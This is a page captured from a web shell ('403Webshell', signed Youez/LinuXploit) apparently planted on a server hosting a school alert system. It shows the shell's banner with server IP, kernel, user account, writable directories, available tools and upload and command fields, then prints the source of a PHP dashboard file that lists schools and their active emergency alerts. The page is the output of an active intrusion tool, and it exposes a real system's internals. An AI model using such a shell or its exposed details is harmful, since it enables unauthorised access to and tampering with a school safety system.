403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wcsd/School-alert/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wcsd/School-alert/dashboard1.php.not right
<?php
session_start();
require 'config/db.php';

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

$error_message = "";

// Check if the user is logged in
if (!isset($_SESSION['user_id'])) {
    header('Location: login.php');
    exit();
}

// Handle acknowledge request for active alerts (to mark as resolved)
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['acknowledge_alert_id'])) {
    $acknowledge_alert_id = $_POST['acknowledge_alert_id'];

    // Update alert status to 'resolved'
    $stmt = $pdo->prepare("UPDATE alerts SET status = 'resolved' WHERE alert_id = ?");
    $stmt->execute([$acknowledge_alert_id]);

    // Redirect to refresh the list
    header("Location: dashboard.php");
    exit();
}

// Fetch all schools with address and phone
$stmt = $pdo->prepare("SELECT school_id, name, address, phone FROM schools ORDER BY name ASC");
$stmt->execute();
$schools = $stmt->fetchAll(PDO::FETCH_ASSOC);

// Prepare active and resolved alerts for each school
$alerts_by_school = [];
foreach ($schools as $school) {
    $alerts_by_school[$school['school_id']]['active'] = [];
    $alerts_by_school[$school['school_id']]['resolved'] = [];
    $alerts_by_school[$school['school_id']]['school_name'] = $school['name'];
    $alerts_by_school[$school['school_id']]['address'] = $school['address'];
    $alerts_by_school[$school['school_id']]['phone'] = $school['phone'];

    // Active alerts for this school
    $stmt = $pdo->prepare("SELECT * FROM alerts WHERE school_id = ? AND status = 'active' ORDER BY timestamp DESC");
    $stmt->execute([$school['school_id']]);
    $alerts_by_school[$school['school_id']]['active'] = $stmt->fetchAll(PDO::FETCH_ASSOC);

    // Resolved alerts for this school
    $stmt = $pdo->prepare("SELECT * FROM alerts WHERE school_id = ? AND status = 'resolved' ORDER BY timestamp DESC");
    $stmt->execute([$school['school_id']]);
    $alerts_by_school[$school['school_id']]['resolved'] = $stmt->fetchAll(PDO::FETCH_ASSOC);
}
?>

<?php include __DIR__ . '/views/header.php'; ?>

<!-- Logo Block -->
<div class="logo-block">
    <img src="images/edulert-logo.png" alt="Edulert Logo" class="logo">
</div>

<!-- Table Layout to Display Alerts -->
<div class="alerts-table">
    <table>
        <!-- Header row with School Name and Address -->
        <thead>
            <tr>
                <th>School Name / Address</th>
                <th>Phone</th>
                <th>Active Alerts</th>
            </tr>
        </thead>
        <tbody>
            <?php foreach ($alerts_by_school as $school_id => $school_data): ?>
                <tr>
                    <!-- School Name and Address Row -->
                    <td>
                        <h4><?= htmlspecialchars($school_data['school_name']) ?></h4>
                        <p><?= htmlspecialchars($school_data['address']) ?></p>
                    </td>
                    <td><?= htmlspecialchars($school_data['phone']) ?></td>
                    <td>
                        <!-- Active Alerts -->
                        <?php if (!empty($school_data['active'])): ?>
                            <?php foreach ($school_data['active'] as $alert): ?>
                                <div class="alert blinking-alert">
                                    <h4><?= htmlspecialchars($alert['type']) ?></h4>
                                    <p><?= htmlspecialchars($alert['message']) ?></p>
                                    <p><strong>Date:</strong> <?= htmlspecialchars($alert['timestamp']) ?></p>

                                    <!-- Acknowledge button for active alerts -->
                                    <form method="POST" action="dashboard.php" style="display:inline;">
                                        <input type="hidden" name="acknowledge_alert_id" value="<?= htmlspecialchars($alert['alert_id']) ?>">
                                        <button type="submit" style="background-color: green; color: white; padding: 5px 10px; border: none; cursor: pointer;">Acknowledge</button>
                                    </form>
                                </div>
                            <?php endforeach; ?>
                        <?php else: ?>
                            <p class="no-active-alerts">No active alerts at this time.</p>
                        <?php endif; ?>
                    </td>
                </tr>
            <?php endforeach; ?>
        </tbody>
    </table>
</div>

<?php include __DIR__ . '/views/footer.php'; ?>

<!-- Include main.js for AJAX Polling -->
<script src="js/main.js"></script>

<!-- Blinking Effect for Active Alerts -->
<style>
    /* Blinking effect for active alerts */
    @keyframes blink {
        0% { background-color: #ffcccc; } /* Light red */
        50% { background-color: #ff6666; } /* Darker red */
        100% { background-color: #ffcccc; } /* Light red */
    }

    .blinking-alert {
        animation: blink 1s infinite;
        border: 2px solid #cc0000;
    }

    table {
        width: 100%;
        border-collapse: collapse;
    }

    th, td {
        padding: 15px;
        text-align: left;
        border: 1px solid #ddd;
    }

    td {
        vertical-align: top;
    }

    .alert {
        background-color: #f1f1f1;
        padding: 10px;
        margin: 10px 0;
    }

    .alert h4 {
        margin-bottom: 5px;
    }

    .alert p {
        margin-bottom: 5px;
    }

    .alert button {
        background-color: green;
        color: white;
        padding: 5px 10px;
        border: none;
        cursor: pointer;
    }

    .alert button:hover {
        background-color: darkgreen;
    }

    /* Logo Block Styling */
    .logo-block {
        text-align: center;
        margin-bottom: 20px;
    }

    .logo {
        width: 150px;
        height: auto;
    }

    /* Style for No Active Alerts message */
    .no-active-alerts {
        color: blue;
        font-size: 1.2em;
        font-weight: bold;
    }
</style>

Youez - 2016 - github.com/yon3zu
LinuXploit